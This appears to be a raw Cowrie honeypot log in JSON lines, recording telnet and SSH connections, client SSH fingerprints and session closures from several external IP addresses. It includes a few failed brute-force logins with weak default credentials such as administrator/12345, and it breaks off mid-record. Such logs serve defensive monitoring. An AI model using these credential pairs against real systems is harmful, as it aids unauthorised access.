{"eventid":"cowrie.session.closed","duration":31.61128258705139,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:26.719158Z","src_ip":"147.124.211.111","session":"5afe99077127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55852,"dst_ip":"159.203.135.109","dst_port":23,"session":"919db7990f94","protocol":"telnet","message":"New connection: 147.124.211.111:55852 (159.203.135.109:23) [session: 919db7990f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:27.892988Z"}
{"eventid":"cowrie.session.closed","duration":31.276798009872437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:28.905059Z","src_ip":"147.124.211.111","session":"a8d186f50b09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55854,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0b7eabd70ef","protocol":"telnet","message":"New connection: 147.124.211.111:55854 (159.203.135.109:23) [session: b0b7eabd70ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.281243Z"}
{"eventid":"cowrie.session.closed","duration":30.946096420288086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.306114Z","src_ip":"147.124.211.111","session":"8b7c3d6f846f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894728183746338,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.409581Z","src_ip":"147.124.211.111","session":"0fd42c13d6a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854955434799194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.701247Z","src_ip":"147.124.211.111","session":"d2c6ee3a0df2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":34004,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f75b2658ab","protocol":"ssh","message":"New connection: 41.86.34.139:34004 (10.17.0.5:22) [session: 59f75b2658ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.770340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.775449Z","src_ip":"41.86.34.139","session":"59f75b2658ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02470636367798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.789190Z","src_ip":"147.124.211.111","session":"c217c0c7336f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:29.983389Z","src_ip":"41.86.34.139","session":"59f75b2658ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63247060775757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.042290Z","src_ip":"147.124.211.111","session":"42cfaf699f16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759730100631714,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.243541Z","src_ip":"147.124.211.111","session":"7dd096b4deaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637394905090332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.248579Z","src_ip":"147.124.211.111","session":"54f303c472cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36182,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9e7321c47d6","protocol":"telnet","message":"New connection: 147.124.211.111:36182 (159.203.135.109:23) [session: d9e7321c47d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.259467Z"}
{"eventid":"cowrie.session.closed","duration":30.385287046432495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.307616Z","src_ip":"147.124.211.111","session":"8fa25375c4ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36194,"dst_ip":"159.203.135.109","dst_port":23,"session":"abfa116cac56","protocol":"telnet","message":"New connection: 147.124.211.111:36194 (159.203.135.109:23) [session: abfa116cac56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.373765Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36204,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d8ddf7d349c","protocol":"telnet","message":"New connection: 147.124.211.111:36204 (159.203.135.109:23) [session: 7d8ddf7d349c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.554476Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345","message":"login attempt [administrator/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:30.845360Z","src_ip":"41.86.34.139","session":"59f75b2658ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36206,"dst_ip":"159.203.135.109","dst_port":23,"session":"b144af86d31c","protocol":"telnet","message":"New connection: 147.124.211.111:36206 (159.203.135.109:23) [session: b144af86d31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:31.996872Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:32.054578Z","src_ip":"41.86.34.139","session":"59f75b2658ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36234,"dst_ip":"159.203.135.109","dst_port":23,"session":"55cfe590ab08","protocol":"telnet","message":"New connection: 147.124.211.111:36234 (159.203.135.109:23) [session: 55cfe590ab08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:32.691377Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43674,"dst_ip":"10.17.0.5","dst_port":23,"session":"79ab4db69854","protocol":"telnet","message":"New connection: 137.184.155.248:43674 (10.17.0.5:23) [session: 79ab4db69854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:32.730317Z"}
{"eventid":"cowrie.session.closed","duration":30.840845823287964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:33.322560Z","src_ip":"147.124.211.111","session":"4d94fc381e9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825422286987305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:33.786793Z","src_ip":"147.124.211.111","session":"426fba404ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999475955963135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:34.366456Z","src_ip":"147.124.211.111","session":"7ef4694afa4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840919733047485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.049227Z","src_ip":"147.124.211.111","session":"c06a736736df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.513472318649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.069188Z","src_ip":"147.124.211.111","session":"2dd1bc0c4e24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36220,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fe6c962cf64","protocol":"telnet","message":"New connection: 147.124.211.111:36220 (159.203.135.109:23) [session: 1fe6c962cf64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.314903Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43676,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b817073bf46","protocol":"telnet","message":"New connection: 137.184.155.248:43676 (10.17.0.5:23) [session: 8b817073bf46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.340620Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36246,"dst_ip":"159.203.135.109","dst_port":23,"session":"149749fae8e8","protocol":"telnet","message":"New connection: 147.124.211.111:36246 (159.203.135.109:23) [session: 149749fae8e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.377861Z"}
{"eventid":"cowrie.session.closed","duration":30.836864709854126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.387874Z","src_ip":"147.124.211.111","session":"5d33c7082168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6040620803833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.394067Z","src_ip":"147.124.211.111","session":"a6dc00c1db7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.262016773223877,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.718166Z","src_ip":"147.124.211.111","session":"a693d9ce3503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":57056,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f4afce1f32e","protocol":"ssh","message":"New connection: 72.253.251.7:57056 (159.203.135.109:22) [session: 5f4afce1f32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.926620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:35.932474Z","src_ip":"72.253.251.7","session":"5f4afce1f32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:36.051395Z","src_ip":"72.253.251.7","session":"5f4afce1f32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwer1234","message":"login attempt [git/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:36.556607Z","src_ip":"72.253.251.7","session":"5f4afce1f32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.65616726875305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:37.297172Z","src_ip":"147.124.211.111","session":"42f89fba8ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:37.677402Z","src_ip":"72.253.251.7","session":"5f4afce1f32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.728070974349976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:38.035279Z","src_ip":"147.124.211.111","session":"28fde02a074b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62224769592285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:38.358186Z","src_ip":"147.124.211.111","session":"0e4accfc6619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36252,"dst_ip":"159.203.135.109","dst_port":23,"session":"bce6972b3868","protocol":"telnet","message":"New connection: 147.124.211.111:36252 (159.203.135.109:23) [session: bce6972b3868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:38.422023Z"}
{"eventid":"cowrie.session.closed","duration":31.53307008743286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:38.544573Z","src_ip":"147.124.211.111","session":"fcf8492ffe3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.508045196533203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:39.479544Z","src_ip":"147.124.211.111","session":"1a04b1b69a30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951664686203003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:39.551704Z","src_ip":"147.124.211.111","session":"ce91b98f95e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":36266,"dst_ip":"159.203.135.109","dst_port":23,"session":"40e3a035214d","protocol":"telnet","message":"New connection: 147.124.211.111:36266 (159.203.135.109:23) [session: 40e3a035214d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:39.602341Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43680,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f5c9c7ad3c","protocol":"telnet","message":"New connection: 137.184.155.248:43680 (10.17.0.5:23) [session: 26f5c9c7ad3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:40.015600Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46224,"dst_ip":"159.203.135.109","dst_port":23,"session":"17e800a1c663","protocol":"telnet","message":"New connection: 147.124.211.111:46224 (159.203.135.109:23) [session: 17e800a1c663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:40.041890Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":59670,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2ffb960612f","protocol":"ssh","message":"New connection: 103.86.180.10:59670 (159.203.135.109:22) [session: d2ffb960612f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:40.804337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:40.810275Z","src_ip":"103.86.180.10","session":"d2ffb960612f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.22117829322815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:40.923039Z","src_ip":"147.124.211.111","session":"55ee073ff315","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:41.005123Z","src_ip":"103.86.180.10","session":"d2ffb960612f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46226,"dst_ip":"159.203.135.109","dst_port":23,"session":"444078b18a13","protocol":"telnet","message":"New connection: 147.124.211.111:46226 (159.203.135.109:23) [session: 444078b18a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:41.401395Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"654321","message":"login attempt [user/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:41.816722Z","src_ip":"103.86.180.10","session":"d2ffb960612f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46240,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ce02e22893c","protocol":"telnet","message":"New connection: 147.124.211.111:46240 (159.203.135.109:23) [session: 5ce02e22893c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:41.936986Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:43.013207Z","src_ip":"103.86.180.10","session":"d2ffb960612f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72790837287903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:43.029557Z","src_ip":"147.124.211.111","session":"8e957bf4d844","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686062812805176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:43.330106Z","src_ip":"147.124.211.111","session":"c1d72fe7df55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2558810710907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:43.385007Z","src_ip":"147.124.211.111","session":"20caebe07fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804352521896362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:44.165526Z","src_ip":"147.124.211.111","session":"a129e99aeec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731709957122803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:44.580496Z","src_ip":"147.124.211.111","session":"22e2b47fa587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd6608e89af3","protocol":"telnet","message":"New connection: 147.124.211.111:46248 (159.203.135.109:23) [session: bd6608e89af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:44.764785Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63484,"dst_ip":"10.17.0.5","dst_port":22,"session":"36792acdaf4a","protocol":"ssh","message":"New connection: 87.251.64.176:63484 (10.17.0.5:22) [session: 36792acdaf4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:44.988590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:48:44.993358Z","src_ip":"87.251.64.176","session":"36792acdaf4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecds